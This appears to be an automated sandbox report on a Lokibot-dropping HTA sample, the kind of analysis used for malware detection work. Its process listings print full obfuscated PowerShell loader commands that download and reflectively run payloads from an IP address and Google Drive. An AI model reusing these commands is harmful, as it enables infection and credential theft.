Malware Analysis Report

2024-12-01 02:56

Sample ID 241108-jdjgss1jfr
Target seethegoodthingswhicgivenyoubest.hta
SHA256 3b5f33baf9dbcbe033909735e6238ecf8c3f5aaf915d7298157fb07e034cf2bb
Tags
defense_evasion discovery execution lokibot collection spyware stealer trojan
score
10/10

Table of Contents

Analysis Overview

MITRE ATT&CK

Enterprise Matrix V15

Analysis: static1

Detonation Overview

Signatures

Analysis: behavioral1

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis: behavioral2

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis Overview

score
10/10

SHA256

3b5f33baf9dbcbe033909735e6238ecf8c3f5aaf915d7298157fb07e034cf2bb

Threat Level: Known bad

The file seethegoodthingswhicgivenyoubest.hta was found to be: Known bad.

Malicious Activity Summary

defense_evasion discovery execution lokibot collection spyware stealer trojan

Lokibot

Lokibot family

Evasion via Device Credential Deployment

Blocklisted process makes network request

Command and Scripting Interpreter: PowerShell

Checks computer location settings

Legitimate hosting services abused for malware hosting/C2

Accesses Microsoft Outlook profiles

Suspicious use of SetThreadContext

System Location Discovery: System Language Discovery

Enumerates physical storage devices

Suspicious use of AdjustPrivilegeToken

Suspicious behavior: EnumeratesProcesses

Modifies registry class

outlook_office_path

outlook_win_path

Modifies Internet Explorer settings

Suspicious use of WriteProcessMemory

MITRE ATT&CK

Analysis: static1

Detonation Overview

Reported

2024-11-08 07:33

Signatures

N/A

Analysis: behavioral1

Detonation Overview

Submitted

2024-11-08 07:33

Reported

2024-11-08 07:35

Platform

win7-20240903-en

Max time kernel

117s

Max time network

118s

Command Line

C:\Windows\SysWOW64\mshta.exe "C:\Users\Admin\AppData\Local\Temp\seethegoodthingswhicgivenyoubest.hta"

Signatures

Command and Scripting Interpreter: PowerShell

execution
Description Indicator Process Target
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A

Evasion via Device Credential Deployment

defense_evasion execution
Description Indicator Process Target
N/A N/A C:\Windows\SysWOW64\winDOWspOweRsheLl\V1.0\powErshEll.eXe N/A
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A

Legitimate hosting services abused for malware hosting/C2

Description Indicator Process Target
N/A drive.google.com N/A N/A
N/A drive.google.com N/A N/A

Enumerates physical storage devices

System Location Discovery: System Language Discovery

discovery
Description Indicator Process Target
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\Microsoft.NET\Framework\v2.0.50727\csc.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\Microsoft.NET\Framework\v2.0.50727\cvtres.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\WScript.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\mshta.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\winDOWspOweRsheLl\V1.0\powErshEll.eXe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A

Modifies Internet Explorer settings

adware spyware
Description Indicator Process Target
Key created \REGISTRY\USER\S-1-5-21-1488793075-819845221-1497111674-1000\Software\Microsoft\Internet Explorer\Main C:\Windows\SysWOW64\mshta.exe N/A

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeDebugPrivilege N/A C:\Windows\SysWOW64\winDOWspOweRsheLl\V1.0\powErshEll.eXe N/A
Token: SeDebugPrivilege N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A

Suspicious use of WriteProcessMemory

Description Indicator Process Target
PID 2672 wrote to memory of 2808 N/A C:\Windows\SysWOW64\mshta.exe C:\Windows\SysWOW64\winDOWspOweRsheLl\V1.0\powErshEll.eXe
PID 2672 wrote to memory of 2808 N/A C:\Windows\SysWOW64\mshta.exe C:\Windows\SysWOW64\winDOWspOweRsheLl\V1.0\powErshEll.eXe
PID 2672 wrote to memory of 2808 N/A C:\Windows\SysWOW64\mshta.exe C:\Windows\SysWOW64\winDOWspOweRsheLl\V1.0\powErshEll.eXe
PID 2672 wrote to memory of 2808 N/A C:\Windows\SysWOW64\mshta.exe C:\Windows\SysWOW64\winDOWspOweRsheLl\V1.0\powErshEll.eXe
PID 2808 wrote to memory of 2596 N/A C:\Windows\SysWOW64\winDOWspOweRsheLl\V1.0\powErshEll.eXe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 2808 wrote to memory of 2596 N/A C:\Windows\SysWOW64\winDOWspOweRsheLl\V1.0\powErshEll.eXe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 2808 wrote to memory of 2596 N/A C:\Windows\SysWOW64\winDOWspOweRsheLl\V1.0\powErshEll.eXe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 2808 wrote to memory of 2596 N/A C:\Windows\SysWOW64\winDOWspOweRsheLl\V1.0\powErshEll.eXe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 2808 wrote to memory of 2684 N/A C:\Windows\SysWOW64\winDOWspOweRsheLl\V1.0\powErshEll.eXe C:\Windows\Microsoft.NET\Framework\v2.0.50727\csc.exe
PID 2808 wrote to memory of 2684 N/A C:\Windows\SysWOW64\winDOWspOweRsheLl\V1.0\powErshEll.eXe C:\Windows\Microsoft.NET\Framework\v2.0.50727\csc.exe
PID 2808 wrote to memory of 2684 N/A C:\Windows\SysWOW64\winDOWspOweRsheLl\V1.0\powErshEll.eXe C:\Windows\Microsoft.NET\Framework\v2.0.50727\csc.exe
PID 2808 wrote to memory of 2684 N/A C:\Windows\SysWOW64\winDOWspOweRsheLl\V1.0\powErshEll.eXe C:\Windows\Microsoft.NET\Framework\v2.0.50727\csc.exe
PID 2684 wrote to memory of 2364 N/A C:\Windows\Microsoft.NET\Framework\v2.0.50727\csc.exe C:\Windows\Microsoft.NET\Framework\v2.0.50727\cvtres.exe
PID 2684 wrote to memory of 2364 N/A C:\Windows\Microsoft.NET\Framework\v2.0.50727\csc.exe C:\Windows\Microsoft.NET\Framework\v2.0.50727\cvtres.exe
PID 2684 wrote to memory of 2364 N/A C:\Windows\Microsoft.NET\Framework\v2.0.50727\csc.exe C:\Windows\Microsoft.NET\Framework\v2.0.50727\cvtres.exe
PID 2684 wrote to memory of 2364 N/A C:\Windows\Microsoft.NET\Framework\v2.0.50727\csc.exe C:\Windows\Microsoft.NET\Framework\v2.0.50727\cvtres.exe
PID 2808 wrote to memory of 2292 N/A C:\Windows\SysWOW64\winDOWspOweRsheLl\V1.0\powErshEll.eXe C:\Windows\SysWOW64\WScript.exe
PID 2808 wrote to memory of 2292 N/A C:\Windows\SysWOW64\winDOWspOweRsheLl\V1.0\powErshEll.eXe C:\Windows\SysWOW64\WScript.exe
PID 2808 wrote to memory of 2292 N/A C:\Windows\SysWOW64\winDOWspOweRsheLl\V1.0\powErshEll.eXe C:\Windows\SysWOW64\WScript.exe
PID 2808 wrote to memory of 2292 N/A C:\Windows\SysWOW64\winDOWspOweRsheLl\V1.0\powErshEll.eXe C:\Windows\SysWOW64\WScript.exe
PID 2292 wrote to memory of 2632 N/A C:\Windows\SysWOW64\WScript.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 2292 wrote to memory of 2632 N/A C:\Windows\SysWOW64\WScript.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 2292 wrote to memory of 2632 N/A C:\Windows\SysWOW64\WScript.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 2292 wrote to memory of 2632 N/A C:\Windows\SysWOW64\WScript.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 2632 wrote to memory of 1248 N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 2632 wrote to memory of 1248 N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 2632 wrote to memory of 1248 N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 2632 wrote to memory of 1248 N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Processes

C:\Windows\SysWOW64\mshta.exe

C:\Windows\SysWOW64\mshta.exe "C:\Users\Admin\AppData\Local\Temp\seethegoodthingswhicgivenyoubest.hta"

C:\Windows\SysWOW64\winDOWspOweRsheLl\V1.0\powErshEll.eXe

"C:\Windows\sySTEm32\winDOWspOweRsheLl\V1.0\powErshEll.eXe" "POweRsHeLl -eX ByPaSs -NOP -W 1 -C DevIceCredeNTiaLdepLOyMenT ; ieX($(Iex('[syStem.TExT.encodiNG]'+[ChAr]58+[chAr]0x3A+'Utf8.geTsTRing([sYsTem.CoNVErT]'+[ChAr]0x3A+[CHAr]0x3A+'FROmBaSe64StriNG('+[cHaR]0X22+'JFZ3SjZCMXZ5ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGFERC10eXBFICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLU1FTUJlUmRlRklOaVRpb04gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAnW0RsbEltcG9ydCgidVJsbU9uLmRMTCIsICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQ2hhclNldCA9IENoYXJTZXQuVW5pY29kZSldcHVibGljIHN0YXRpYyBleHRlcm4gSW50UHRyIFVSTERvd25sb2FkVG9GaWxlKEludFB0ciAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIEhZTixzdHJpbmcgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBrck9jVWhmcU1VLHN0cmluZyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIEdhLHVpbnQgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBlaW1PUVplQ1NpWixJbnRQdHIgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB2VCk7JyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1uYU1FICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIlVwIiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1uYW1lc1BBY2UgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBuZ0tHbVcgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtUGFzc1RocnU7ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJFZ3SjZCMXZ5OjpVUkxEb3dubG9hZFRvRmlsZSgwLCJodHRwOi8vMTA0LjE2OC43LjUyLzEyMC9waWN0dXJld2l0aG1lYmFja3dpdGhuZXd0aGluZ3NncmVhdGZvcm1lLnRJRiIsIiRFblY6QVBQREFUQVxwaWN0dXJld2l0aG1lYmFja3dpdGhuZXd0aGluZ3NncmVhdGZvcm1lLnZicyIsMCwwKTtzdEFyVC1TTGVFcCgzKTtzdGFyVCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICIkZU52OkFQUERBVEFccGljdHVyZXdpdGhtZWJhY2t3aXRobmV3dGhpbmdzZ3JlYXRmb3JtZS52YnMi'+[CHar]0x22+'))')))"

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -eX ByPaSs -NOP -W 1 -C DevIceCredeNTiaLdepLOyMenT

C:\Windows\Microsoft.NET\Framework\v2.0.50727\csc.exe

"C:\Windows\Microsoft.NET\Framework\v2.0.50727\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\ud_8cjki.cmdline"

C:\Windows\Microsoft.NET\Framework\v2.0.50727\cvtres.exe

C:\Windows\Microsoft.NET\Framework\v2.0.50727\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES1028.tmp" "c:\Users\Admin\AppData\Local\Temp\CSC1027.tmp"

C:\Windows\SysWOW64\WScript.exe

"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Roaming\picturewithmebackwithnewthingsgreatforme.vbs"

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'JiAoICRlbnY6Y09Nc3BFY1s0LDI0LDI1XS1Kb0lOJycpKCAoJzU2dWltYWdlVXJsID0gdklPaHR0cHM6Ly9kcml2ZS5nb29nbGUuY29tL3VjP2V4cG9ydD1kb3dubG9hZCZpZD0xVXlIcXdyblhDbEtCSjNqJysnNjNMbDF0MlN0VmdHeGJTdDAgdklPOzU2dXdlYkNsaWVudCA9IE5ldy1PYmplY3QgU3knKydzdGVtLk5ldC5XZWJDbGllbnQ7NTZ1aScrJ21hZ2VCeXRlcyA9IDU2dXdlYkNsaWVudC5Eb3dubG9hZERhdGEoNTZ1aW1hZ2VVcmwpOzU2dWltYWdlVGV4dCA9ICcrJ1tTeXN0ZW0uVGV4dC5FbmNvZGluZ106OlVURjguR2V0U3RyaW5nKDU2dWltYWdlQnknKyd0ZXMpOzU2dXN0YXJ0RmxhZyA9IHZJTzw8QkFTRTY0X1NUQVJUPj52SU8nKyc7NTZ1ZW5kRmxhZyA9IHZJTzw8QkFTRTY0X0VORD4+dklPOzU2dXN0YXJ0SW5kZXggPSA1NnVpbWFnZVRleHQuSW5kZXhPZig1NnVzdGFydEZsYWcpOzU2dWVuZEluZGV4ID0gNTZ1aW1hZ2VUZXh0LkluZGV4T2YoNTZ1ZW5kRmxhZyk7NTZ1c3RhcnRJbmRleCAtZ2UgMCAtYW5kIDU2dWVuZCcrJ0luZGV4IC1ndCA1NnVzdGFydEluZGV4OzU2dXN0YXJ0SW5kZXggKz0gNTZ1c3RhcnRGbGFnLkxlbmd0aDs1NnViYXNlNjRMZW5ndGggPSA1NnVlbmRJbmQnKydleCAtIDU2dXN0YXJ0SW5kZXg7NTZ1YmFzZTY0Q29tbWFuZCA9IDU2dWltYWdlVGV4dC5TdWJzdHJpbmcoNTYnKyd1c3RhcnRJbmRleCwgNTZ1YmFzZTY0TGVuZ3RoKTs1NnViYXNlNjRSZXZlcnNlZCA9IC1qJysnb2luJysnICg1NnViYXNlNjRDb21tYW5kLlRvQ2hhckFycmF5KCkgNmlrIEZvckVhY2gtT2JqZWN0IHsgNTZ1XyB9KVstMS4uLSg1NicrJ3ViYXNlNicrJzRDb21tYW5kLkxlbmd0aCldOzU2dWNvbW1hbmRCeXRlcyA9IFtTeXN0ZW0uQ29udmVydF06OkZyb21CYXNlNjRTdHJpbmcoNTZ1YmFzZTY0UmV2ZXJzZWQpOzU2dWxvYWRlZEFzc2VtYmx5ID0gW1N5c3RlJysnbS5SZWZsZWN0aW9uLkFzc2VtYmx5XTo6JysnTG9hZCg1NnVjb21tYW5kQnl0ZXMpOzU2dXZhaU1ldGhvZCA9IFtkbmxpYi5JTy5Ib21lXS5HZXRNZXRob2QodklPVkEnKydJJysndklPKTs1NnV2YWlNZXRob2QuSW52b2tlKDU2dW51bGwsIEAodklPdCcrJ3h0LktMR0xMLzAyMS8yNS43Ljg2MS40JysnMDEvLzpwdHRodklPLCAnKyd2SU9kZXNhdGl2YWRvdicrJ0lPLCB2SU9kZXNhdGl2YWRvdklPLCB2SU9kZXNhdGl2YWRvdklPLCB2SU9hc3BuZXRfY29tcCcrJ2lsZXJ2SU8sIHZJT2Rlc2F0aXZhZG92SU8sICcrJ3ZJT2Rlc2F0aXZhZG92SU8sdklPZGVzYXRpdmFkb3ZJTyx2SU9kZXNhdGl2YWRvdklPLHZJT2RlcycrJ2F0aXZhZG92SU8sdklPZGVzYXRpdmFkb3ZJTyx2SU9kZXNhdGl2YWRvdklPLHZJTzF2SU8sdklPZGVzYXRpdmFkJysnb3ZJTykpOycpLnJlcExhQ0UoKFtjaEFSXTU0K1tjaEFSXTEwNStbY2hBUl0xMDcpLFtzVFJpbmddW2NoQVJdMTI0KS5yZXBMYUNFKCd2SU8nLFtzVFJpbmddW2NoQVJdMzkpLnJlcExhQ0UoJzU2dScsJyQnKSk=';$OWjuxd = [system.Text.encoding]::UTF8.GetString([system.Convert]::Frombase64String($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "& ( $env:cOMspEc[4,24,25]-JoIN'')( ('56uimageUrl = vIOhttps://drive.google.com/uc?export=download&id=1UyHqwrnXClKBJ3j'+'63Ll1t2StVgGxbSt0 vIO;56uwebClient = New-Object Sy'+'stem.Net.WebClient;56ui'+'mageBytes = 56uwebClient.DownloadData(56uimageUrl);56uimageText = '+'[System.Text.Encoding]::UTF8.GetString(56uimageBy'+'tes);56ustartFlag = vIO<<BASE64_START>>vIO'+';56uendFlag = vIO<<BASE64_END>>vIO;56ustartIndex = 56uimageText.IndexOf(56ustartFlag);56uendIndex = 56uimageText.IndexOf(56uendFlag);56ustartIndex -ge 0 -and 56uend'+'Index -gt 56ustartIndex;56ustartIndex += 56ustartFlag.Length;56ubase64Length = 56uendInd'+'ex - 56ustartIndex;56ubase64Command = 56uimageText.Substring(56'+'ustartIndex, 56ubase64Length);56ubase64Reversed = -j'+'oin'+' (56ubase64Command.ToCharArray() 6ik ForEach-Object { 56u_ })[-1..-(56'+'ubase6'+'4Command.Length)];56ucommandBytes = [System.Convert]::FromBase64String(56ubase64Reversed);56uloadedAssembly = [Syste'+'m.Reflection.Assembly]::'+'Load(56ucommandBytes);56uvaiMethod = [dnlib.IO.Home].GetMethod(vIOVA'+'I'+'vIO);56uvaiMethod.Invoke(56unull, @(vIOt'+'xt.KLGLL/021/25.7.861.4'+'01//:ptthvIO, '+'vIOdesativadov'+'IO, vIOdesativadovIO, vIOdesativadovIO, vIOaspnet_comp'+'ilervIO, vIOdesativadovIO, '+'vIOdesativadovIO,vIOdesativadovIO,vIOdesativadovIO,vIOdes'+'ativadovIO,vIOdesativadovIO,vIOdesativadovIO,vIO1vIO,vIOdesativad'+'ovIO));').repLaCE(([chAR]54+[chAR]105+[chAR]107),[sTRing][chAR]124).repLaCE('vIO',[sTRing][chAR]39).repLaCE('56u','$'))"

Network

Country Destination Domain Proto
US 104.168.7.52:80 104.168.7.52 tcp
US 8.8.8.8:53 drive.google.com udp
GB 142.250.187.206:443 drive.google.com tcp
US 8.8.8.8:53 drive.usercontent.google.com udp
GB 172.217.16.225:443 drive.usercontent.google.com tcp

Files

C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms

MD5 17481dbc2af7e84ca39a711d6973b8a1
SHA1 0fc39abfb0576ff17505d00a5d18ad4b38e96be0
SHA256 b161496634fa4a654326829c26e8e90c7adcd1eba6e7b01340bd8241df975ea6
SHA512 ca98e2ecdc75fc8a0995d0c72ea8037dec05b9916ecf07248772e0851be1c344d6b0f2732fbcd6fcb1e814779f7a3edb16d23ddc1d7fa0b3ea79e96518356161

\??\c:\Users\Admin\AppData\Local\Temp\ud_8cjki.cmdline

MD5 35644586ad499f931c802bfc7464f369
SHA1 274f99542ac9ecc53fc7ad7f8c6deca3d34f723e
SHA256 432e84d8eb7d04801eb8fcff462cdfdebe49d64869f93dfa42d4b0381afa38d5
SHA512 c5ad82241f68438247b9d215609bc66cdac7f09eee9731ee67f5fe9db0ea3f94fc425261744cca3dec0bf5441e5d1de241812a94be77da23276042f45087f599

\??\c:\Users\Admin\AppData\Local\Temp\ud_8cjki.0.cs

MD5 205f375dc3c53a766f92ffdea3687dde
SHA1 4d6aeadd2f24e149e06b17ecff040e835c78efa1
SHA256 25267d3b40367bbddf882619d418415a2c49bd26d964b6e2d5e214d92a8f87ab
SHA512 7708b1b37f3e2e156762f2704f4b70bf9c92473e1f8874ffc52e8f020a519a14f610b6e855059fa8dda425708e95a65ef8e925bf8ac998bb703b6770b7d2692f

\??\c:\Users\Admin\AppData\Local\Temp\CSC1027.tmp

MD5 3914507c7db9d61112e29cfb879d4c16
SHA1 348bbe204328d9cff7d28bac7e6d183d3ff81193
SHA256 d4c44936803360447296522e3ebc777481c1ef9e4a587334e69f3962ef1c0452
SHA512 8ad07873c535d80069c0dc36ace9a678b61d11bb57b7b0df22d97c278bdca7c3c861537d1cfb0171ffa25e6a33b3b155e82d666ac66ba9ebb5f2d26c30c47adb

C:\Users\Admin\AppData\Local\Temp\RES1028.tmp

MD5 2c49e83edd1bcc2b6d99beefbd1a3cc6
SHA1 76b099617d979156c4b90bdfb10e7ae0c601a3f6
SHA256 de574ccc07b5465f7b40b6c6230494ab12c688e2a7960686abb4a45fab2fd70e
SHA512 4e1478c6d5ae0ab275f8abf40417885329578105feb4b10c44a59d1cbad4f91b32750398040eb3104a3ab304d5e5ea884ce4002f19f423dac3e4bb367f1609a3

C:\Users\Admin\AppData\Local\Temp\ud_8cjki.dll

MD5 cc242bf8466002679bd7e26468e1a9ea
SHA1 67b50e3372eaa30e29023cc75eacc630173f5f9c
SHA256 648f48aa9e7131848106ecedbd43f1aa225352c493e2e12c27f94e3188c52c34
SHA512 63abeab2c1e5fc981df10406a1872b8d2a8902b928d50e74f22440d29546c607937c5c00eef5abf1219f527413fc444dd26b9551005afda73909c729c1aa688d

C:\Users\Admin\AppData\Local\Temp\ud_8cjki.pdb

MD5 ede14d1bf61be1aa9520f811a41cae05
SHA1 295ea5efec871bfde467a709afdb085d402ad09d
SHA256 2e8171842a564b2d8656250bd8a96573e9fbc254c762d0ea1af4cd9a82f1d8e9
SHA512 742bbd912617b3f4580de23cac15945625856b95f6d637ae37c99dfc055463f7501578b52eb3db01b924939e5048b49f8348f9bfe180c29ded70f3752c31e09f

C:\Users\Admin\AppData\Roaming\picturewithmebackwithnewthingsgreatforme.vbs

MD5 6ee290a97ed7f5bcf1d264fcb5e1e4f7
SHA1 0851b61aa41328bac3ed7160eba1151a6faf2f0b
SHA256 b0d216e063b15e640ee73f15277cbd58b8d2a38ee96f61a8ad1e1bc36e400b88
SHA512 5aff6b07f5d77f548ece9bd2609177f0a742123ffd2f1861f0008dfb0f51d137a15a4c9436fc48c64b40c733bb550eb894e3a5bff3855b533262a06390b4034e

Analysis: behavioral2

Detonation Overview

Submitted

2024-11-08 07:33

Reported

2024-11-08 07:35

Platform

win10v2004-20241007-en

Max time kernel

150s

Max time network

150s

Command Line

C:\Windows\SysWOW64\mshta.exe "C:\Users\Admin\AppData\Local\Temp\seethegoodthingswhicgivenyoubest.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}

Signatures

Lokibot

trojan spyware stealer lokibot

Lokibot family

lokibot

Command and Scripting Interpreter: PowerShell

execution
Description Indicator Process Target
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A

Evasion via Device Credential Deployment

defense_evasion execution
Description Indicator Process Target
N/A N/A C:\Windows\SysWOW64\winDOWspOweRsheLl\V1.0\powErshEll.eXe N/A
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A

Checks computer location settings

Description Indicator Process Target
Key value queried \REGISTRY\USER\S-1-5-21-3227495264-2217614367-4027411560-1000\Control Panel\International\Geo\Nation C:\Windows\SysWOW64\mshta.exe N/A
Key value queried \REGISTRY\USER\S-1-5-21-3227495264-2217614367-4027411560-1000\Control Panel\International\Geo\Nation C:\Windows\SysWOW64\WScript.exe N/A

Accesses Microsoft Outlook profiles

collection
Description Indicator Process Target
Key opened \REGISTRY\USER\S-1-5-21-3227495264-2217614367-4027411560-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe N/A
Key opened \REGISTRY\USER\S-1-5-21-3227495264-2217614367-4027411560-1000\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe N/A
Key opened \REGISTRY\USER\S-1-5-21-3227495264-2217614367-4027411560-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe N/A

Legitimate hosting services abused for malware hosting/C2

Description Indicator Process Target
N/A drive.google.com N/A N/A
N/A drive.google.com N/A N/A

Suspicious use of SetThreadContext

Description Indicator Process Target
PID 2884 set thread context of 4040 N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe

Enumerates physical storage devices

System Location Discovery: System Language Discovery

discovery
Description Indicator Process Target
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\WScript.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\mshta.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\winDOWspOweRsheLl\V1.0\powErshEll.eXe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A

Modifies registry class

Description Indicator Process Target
Key created \REGISTRY\USER\S-1-5-21-3227495264-2217614367-4027411560-1000_Classes\Local Settings C:\Windows\SysWOW64\winDOWspOweRsheLl\V1.0\powErshEll.eXe N/A

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeDebugPrivilege N/A C:\Windows\SysWOW64\winDOWspOweRsheLl\V1.0\powErshEll.eXe N/A
Token: SeDebugPrivilege N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe N/A

Suspicious use of WriteProcessMemory

Description Indicator Process Target
PID 3200 wrote to memory of 3708 N/A C:\Windows\SysWOW64\mshta.exe C:\Windows\SysWOW64\winDOWspOweRsheLl\V1.0\powErshEll.eXe
PID 3200 wrote to memory of 3708 N/A C:\Windows\SysWOW64\mshta.exe C:\Windows\SysWOW64\winDOWspOweRsheLl\V1.0\powErshEll.eXe
PID 3200 wrote to memory of 3708 N/A C:\Windows\SysWOW64\mshta.exe C:\Windows\SysWOW64\winDOWspOweRsheLl\V1.0\powErshEll.eXe
PID 3708 wrote to memory of 768 N/A C:\Windows\SysWOW64\winDOWspOweRsheLl\V1.0\powErshEll.eXe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 3708 wrote to memory of 768 N/A C:\Windows\SysWOW64\winDOWspOweRsheLl\V1.0\powErshEll.eXe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 3708 wrote to memory of 768 N/A C:\Windows\SysWOW64\winDOWspOweRsheLl\V1.0\powErshEll.eXe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 3708 wrote to memory of 3692 N/A C:\Windows\SysWOW64\winDOWspOweRsheLl\V1.0\powErshEll.eXe C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe
PID 3708 wrote to memory of 3692 N/A C:\Windows\SysWOW64\winDOWspOweRsheLl\V1.0\powErshEll.eXe C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe
